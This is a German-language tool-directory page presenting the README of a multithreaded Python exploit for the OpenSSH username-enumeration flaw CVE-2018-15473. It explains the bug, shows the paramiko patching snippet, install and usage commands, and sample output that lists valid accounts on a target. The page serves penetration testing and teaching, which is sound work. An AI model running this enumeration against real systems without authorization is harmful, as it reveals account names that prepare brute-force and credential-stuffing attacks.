Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Threaded-CVE-2018-15473 — Eine Python-3-Neuimplementierung des klassischen OpenSSH-Exploits zur Benutzeraufzählung (CVE-2018-15473), erweitert um Multi-Threading, Wordlist-Unterstützung, automatische Schwachstellenerkennung und threadsicheres Exploit-Patching. | Kitploit
Tools/GitHubGitHub/k3rn3l-32/threaded-cve-2018-15473
AufklärungSchwachstellenanalyseExploitationInformationsbeschaffungPenetrationstestsLernen & Bildung
GitHubk3rn3l-32/threaded-cve-2018-15473

Threaded-CVE-2018-15473

Eine Python-3-Neuimplementierung des klassischen OpenSSH-Exploits zur Benutzeraufzählung (CVE-2018-15473), erweitert um Multi-Threading, Wordlist-Unterstützung, automatische Schwachstellenerkennung und threadsicheres Exploit-Patching.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
2vor 5 MonatenNoch nicht geprüft

CVE-2018-15473 — SSH-Benutzernamen-Enumerationstool

Eine Python-3-Neuimplementierung des klassischen CVE-2018-15473-OpenSSH-Exploits zur Benutzer-Enumeration, erweitert um Multi-Threading, Wortlisten-Unterstützung, automatische Schwachstellenerkennung und threadsicheres Exploit-Patching.


Inhaltsverzeichnis

  • Über die Schwachstelle
  • Wie der Exploit funktioniert
  • Funktionen
  • Anforderungen
  • Installation
  • Verwendung
  • Beispiele
  • Credits & Originalforschung
  • Haftungsausschluss

Über die Schwachstelle

CVE-2018-15473 ist eine Schwachstelle zur Benutzer-Enumeration, die OpenSSH-Versionen 2.3 bis 7.7 betrifft.

Die Schwachstelle beruht auf einem subtilen Unterschied in der Reaktion des OpenSSH-Servers auf Authentifizierungsversuche für gültige im Vergleich zu ungültigen Benutzernamen. Durch das Erstellen eines fehlerhaft aufgebauten Public-Key-Authentifizierungspakets kann ein Angreifer das Verhalten des Servers beobachten und feststellen, ob ein bestimmter Benutzername auf dem System existiert — ohne das Passwort des Benutzers zu kennen.

Diese Informationen können ein entscheidender erster Schritt bei einem gezielten Brute-Force- oder Credential-Stuffing-Angriff sein.

DetailWert
CVE IDCVE-2018-15473
Betroffene VersionenOpenSSH 2.3 – 7.7
CVSS-Score5.3 (Mittel)

Wie der Exploit funktioniert

Der Authentifizierungsablauf von OpenSSH funktioniert normalerweise wie folgt:

root@kitploit:~
Client → MSG_SERVICE_REQUEST  → Server
Client ← MSG_SERVICE_ACCEPT   ← Server
Client → MSG_USERAUTH_REQUEST → Server
Client ← MSG_USERAUTH_FAILURE or MSG_USERAUTH_SUCCESS ← Server

Der Exploit missbraucht die MSG_SERVICE_ACCEPT-Phase. Wenn der Server ein MSG_SERVICE_ACCEPT zurücksendet, soll der Client dem darauffolgenden MSG_USERAUTH_REQUEST-Paket ein boolesches Feld anhängen. Indem paramikos Message.add_boolean-Methode zu einem No-op gepatcht wird, sendet das Tool ein fehlerhaftes/abgeschnittenes Auth-Paket.

Der OpenSSH-Server verhält sich dann unterschiedlich, je nachdem ob der Benutzername existiert:

  • Ungültiger Benutzername → Der Server lehnt sofort mit MSG_USERAUTH_FAILURE ab (der Benutzername existiert nicht, kein Grund, den Schlüssel zu prüfen)
  • Gültiger Benutzername → Der Server wirft eine AuthenticationException (er hat versucht, den Schlüssel zu verifizieren, was bestätigt, dass der Benutzer existiert)

Dieses Tool fängt diese beiden Antworten über gepatchte paramiko-Handler (_parse_userauth_failure und _parse_service_accept) ab und klassifiziert jeden Benutzernamen entsprechend.

Thread-Sicherheits-Fix

Der ursprüngliche PoC patcht add_boolean dauerhaft, was eine Race Condition verursacht, wenn mehrere Threads gleichzeitig laufen — die Threads stören die Handshakes der jeweils anderen und erzeugen falsche SSH negotiation failed-Fehler. Diese Neuimplementierung umschließt den Patch mit einem threading.Lock(), wodurch der Austausch atomar wird:

root@kitploit:~
with _patch_lock:
    real_add_boolean = paramiko.message.Message.add_boolean
    paramiko.message.Message.add_boolean = _add_boolean_noop
    try:
        result = original_service_accept(auth_handler, m)
    finally:
        paramiko.message.Message.add_boolean = real_add_boolean

Funktionen

  • Prüfung eines einzelnen Benutzernamens — schneller One-Shot-Modus
  • Wortlisten-Modus — Enumeration einer vollständigen Benutzernamenliste
  • Multi-Threading — konfigurierbare Thread-Anzahl, vollständig threadsicher
  • Automatische Schwachstellenerkennung — verwendet nmap, um vor dem Scan zu überprüfen, ob das Ziel eine anfällige OpenSSH-Version ausführt
  • Deduplizierung — entfernt doppelte Benutzernamen automatisch aus Wortlisten
  • Übersichtliche Ausgabe — farbcodierte Ergebnisse mit einem Zusammenfassungsbericht

Anforderungen

  • Python 3.8+
  • paramiko
  • python-nmap
  • nmap (System-Binary, muss installiert sein)

Installation

root@kitploit:~
git clone https://github.com/K3rn3l-32/Threaded-CVE-2018-15473.git
cd CVE-2018-15473

# Create and activate a virtual environment (recommended)
python3 -m venv venv
source venv/bin/activate

# Install dependencies
pip install paramiko python-nmap

Stellen Sie sicher, dass nmap auf Ihrem System installiert ist:

root@kitploit:~
# Debian/Ubuntu/Kali
sudo apt install nmap

Verwendung

root@kitploit:~
usage: main.py [-h] [-p PORT] [-t THREADS] (-u USERNAME | -U WORDLIST) target

positional arguments:
  target                Target IP address

options:
  -h, --help            show this help message and exit
  -p, --port PORT       SSH port (default: 22)
  -t, --threads THREADS Threads for wordlist mode (default: 3)
  -u USERNAME           Single username to check
  -U WORDLIST           Path to wordlist file

Beispiele

Einzelnen Benutzernamen prüfen:

root@kitploit:~
python main.py 192.168.1.10 -u root

Eine Wortliste mit den Standard-Threads enumerieren:

root@kitploit:~
python main.py 192.168.1.10 -U /usr/share/wordlists/users.txt

Enumeration mit benutzerdefinierter Thread-Anzahl und Port:

root@kitploit:~
python main.py 192.168.1.10 -U users.txt -t 10 -p 2222

Beispielausgabe:

root@kitploit:~
[*] Scanning 192.168.56.109:22 ...
[*] Target running OpenSSH version: 4.7
[+] Target is VULNERABLE to CVE-2018-15473

[*] Loaded   : 12 usernames (0 duplicate(s) removed → 12 unique)
[*] Target   : 192.168.56.109:22
[*] Threads  : 10

  [+] root     <- VALID
  [+] service  <- VALID
  [-] guest
  [-] admin
  ...

─────────────────────────────────────────────
[*] Scan complete in 3.87s
[*] Checked  : 12 usernames
[*] Threads  : 10

[+] Valid    (2)  : ['root', 'service']
[-] Invalid  (8)
[!] Errors   (2)  : ['postgres', 'temp']

Credits & Originalforschung

Dieses Tool ist eine Python-3-Neuimplementierung und -Erweiterung des ursprünglichen Proof-of-Concept-Exploits. Die volle Anerkennung für die Entdeckung und Dokumentation dieser Schwachstelle gebührt den ursprünglichen Forschern:

Original-Exploit: https://leapsecurity.io

Diese Neuimplementierung fügt hinzu:

  • Python-3-Kompatibilität (das Original basierte auf Python 2)
  • Threadsicheres Exploit-Patching (Race-Condition-Fix)
  • Wortlisten-Modus mit Multi-Threading
  • Automatische Schwachstellenerkennung auf nmap-Basis
  • Strukturierte Ergebnisberichterstattung

Haftungsausschluss

Dieses Tool ist nur für Bildungszwecke und autorisierte Penetrationstests gedacht.
Die Verwendung dieses Tools gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Erlaubnis zum Testen haben, ist illegal und unethisch.
Der Autor übernimmt keine Verantwortung für eine missbräuchliche Verwendung dieser Software.
Praktizieren Sie stets verantwortungsvolle Offenlegung.

Tool herunterladen
TypInformationsoffenlegung / Benutzer-Enumeration
Authentifizierung erforderlichNein
Rolle
Name / Handle
Autor des Original-PoCLeap Security (@LeapSecurity)
SchwachstellenforschungMatthew Daley
SchwachstellenforschungJustin Gardner
SchwachstellenforschungLee David Painter